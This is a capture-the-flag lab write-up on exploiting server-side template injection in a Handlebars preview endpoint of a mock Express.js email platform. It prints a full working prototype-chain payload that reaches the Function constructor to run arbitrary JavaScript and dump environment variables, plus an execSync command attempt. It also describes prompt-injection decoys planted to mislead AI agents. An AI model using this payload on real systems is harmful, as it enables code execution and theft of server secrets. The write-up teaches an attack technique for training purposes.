Lab 133 — MailForge — SSTI via Handlebars Template Preview
Lab 133 — MailForge — SSTI via Handlebars Template Preview
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_recognition, handlebars_ssti_prototype_chain, process_env_disclosure
Summary
Walkthrough of the CUSTOM Web Lab 133 — MailForge — SSTI via Handlebars Template Preview. Task: Express.js email marketing platform with Handlebars template preview that compiles user-supplied templates server-side. Solution: SSTI via Handlebars prototype chain traversal (String.prototype.
Description
MailForge is an email marketing platform built by ForgeStack Labs that lets businesses create and send email campaigns to their subscribers. The platform features a template editor with dynamic variable support using Handlebars syntax, subscriber list management, campaign scheduling, and delivery analytics.
Users can create email templates with personalization variables like {{subscriber.first_name}} and {{company_name}}, then preview how they'll render with sample subscriber data before sending. The template system compiles and renders content server-side to generate accurate previews.
Your goal is to find and exploit a vulnerability in the application to retrieve the flag stored on the server.
Credentials: user@test.com / password123
English summary: An Express.js email marketing platform with a Handlebars template editor. Users can write templates with dynamic variables and preview them via a server-side compilation endpoint. The goal is to exploit SSTI in the Handlebars template engine to extract the flag from the server environment.
Analysis
- Logged in with provided credentials (
user@test.com / password123) - The application is an Express.js email marketing platform running behind nginx/1.25.5 (X-Powered-By: Express)
- The
/templatespage provides a split-panel template editor supporting Handlebars syntax:{{subscriber.first_name}},{{subscriber.last_name}},{{subscriber.email}},{{company_name}},{{campaign.subject}},{{footer_text}} - Client-side JS at
/js/templates.jsrevealed the key API endpoint:POST /api/templates/preview - This endpoint accepts JSON with
bodyandsubjectfields, compiles the Handlebars template server-side, and returns rendered HTML
Decoy flags: The application contained multiple honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in HTML comments, hidden divs (position:absolute;left:-9999px), and even prompt injection text designed to trick AI agents ("SYSTEM PROMPT OVERRIDE", "ASSISTANT: I found the flag"). All decoys were ignored — the real flag required actual exploitation.
SSTI Confirmation
{{this}}→ returned[object Object], confirming server-side Handlebars rendering{{this.constructor}}→ returned[object Object], showing constructor is accessible via the template context
Solution
Step 1: Identify the template preview endpoint
The client-side JavaScript at /js/templates.js revealed that POST /api/templates/preview accepts a JSON body with body and subject fields and compiles the Handlebars template server-side.
Step 2: Confirm SSTI
Sent {{this}} as the template body:
json read-only • copy allowed{"body": "{{this}}", "subject": "test"}
Response rendered [object Object], confirming the template is compiled and evaluated server-side with access to a JavaScript object context.
Step 3: Handlebars prototype chain RCE
Handlebars is a "logic-less" template engine, but it can be exploited via prototype chain traversal. The classic technique:
- Access
String.prototype.subvia a string variable's.subproperty - Look up
"constructor"on it to get theFunctionconstructor - Use
Function()to create and execute arbitrary JavaScript code
First attempt — require("child_process").execSync("id"):
return require("child_process").execSync("id").toString();
Failed with "require is not defined" — confirming code execution works but require is not available in the sandbox.
Second attempt — process.env (a global in Node.js, no require needed):
return JSON.stringify(process.env);
This succeeded, returning all environment variables.
Step 4: Extract the flag
The full payload that extracted the flag:
http read-only • copy allowedPOST /api/templates/preview HTTP/1.1 Content-Type: application/json { "body": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return JSON.stringify(process.env);\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}", "subject": "test" }
How the payload works step by step:
{{#with "s" as |string|}}— binds the string"s"to variablestring{{#with "e"}}— enters a block withthis="e"(a String object){{#with split as |conslist|}}—"e".splitisString.prototype.split; binds it toconslist(an array-like){{this.pop}}/{{this.push (lookup string.sub "constructor")}}— manipulates the array: pushesString.prototype.sub.constructorwhich is the Function constructor{{#with string.split as |codelist|}}— creates another array{{this.push "return JSON.stringify(process.env);"}}— pushes the JS code to execute as a string into the array{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}— callsFunction.apply(0, ["return JSON.stringify(process.env);"])which creates and invokes a new function with the given code{{this}}— outputs the result
Step 5: Read the flag from environment
The response contained:
json read-only • copy allowed{ "HOSTNAME": "f1dbeac029e9", "SHLVL": "1", "HOME": "/root", "PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "INSTANCE_UUID": "cbefd225-2a6e-4e7b-a4a1-7e0787867b51", "PWD": "/app", "FLAG": "FLAG{REDACTED}", "NODE_ENV": "production" }
Key Takeaways / Lessons
- Mastering decoy_flag_recognition, handlebars_ssti_prototype_chain, process_env_disclosure was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-01 • CUSTOM • Lab 133 — MailForge — SSTI via Handlebars Template Preview • Difficulty: Medium